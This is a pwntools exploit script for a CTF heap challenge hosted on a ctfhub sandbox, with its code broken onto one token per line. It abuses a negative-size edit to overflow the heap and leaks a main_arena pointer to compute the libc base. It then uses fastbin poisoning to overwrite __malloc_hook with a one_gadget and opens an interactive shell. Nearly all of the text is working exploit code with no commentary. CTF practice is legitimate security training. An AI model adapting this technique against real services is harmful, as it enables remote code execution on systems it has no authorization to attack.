from
pwn
import
*
prog
=
"./pwn"
local
=
False
context(os
=
'linux'
, arch
=
'amd64'
, log_level
=
'debug'
)
elf
=
ELF(
"./pwn"
)
libc
=
ELF(
"./libc-2.23.so"
)
if
local:
p
=
process(prog)
libc
=
ELF(
"/root/tools/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6"
)
gdb.attach(p)
sleep(
1
)
else
:
p
=
remote(
"challenge-201a3ecdccce276e.sandbox.ctfhub.com"
,
29865
)
def
add(size):
p.sendlineafter(
">> "
,
"1"
)
p.sendlineafter(
"Size: \n"
,
str
(size))
p.sendafter(
"Content: \n"
,b
"\x00"
)
def
show(index):
p.sendlineafter(
">> "
,
"3"
)
p.sendlineafter(
"Index:\n"
,
str
(index))
def
dele(index):
p.sendlineafter(
">> "
,
"2"
)
p.sendlineafter(
"Index:\n"
,
str
(index))
def
edit(index,content):
p.sendlineafter(
">> "
,
"4"
)
p.sendlineafter(
"Index:\n"
,
str
(index))
p.sendlineafter(
"Size:\n"
,
"-1"
)
p.sendafter(
"Content:\n"
,content)
fakeChunk
=
0x60208d
add(
0x60
)
add(
0x60
)
add(
0x60
)
add(
0x400
)
add(
0x60
)
dele(
3
)
payload
=
b
"A"
*
0x70
edit(
2
,payload)
show(
2
)
mainArena
=
u64(p.recvuntil(
"\x7f"
)[
-
6
:].ljust(
8
,b
"\x00"
))
print
(
"mainArena ===========> {}"
.
format
(
hex
(mainArena)))
mallocHook
=
mainArena
-
0x10
-
88
libcBase
=
mallocHook
-
libc.sym[
'__malloc_hook'
]
oneGadGet
=
0xf1247
+
libcBase
fakeChunk
=
mallocHook
-
0x23
payload
=
b
"\x00"
*
0x60
payload
+
=
p64(
0
)
payload
+
=
p64(
0x411
)
edit(
2
,payload)
dele(
2
)
dele(
1
)
payload
=
b
"A"
*
0x60
payload
+
=
p64(
0
)
payload
+
=
p64(
0x71
)
payload
+
=
p64(fakeChunk)
edit(
0
,payload)
add(
0x60
)
add(
0x60
)
payload
=
b
"A"
*
0x13
payload
+
=
p64(oneGadGet)
edit(
2
,payload)
p.interactive()
p.close()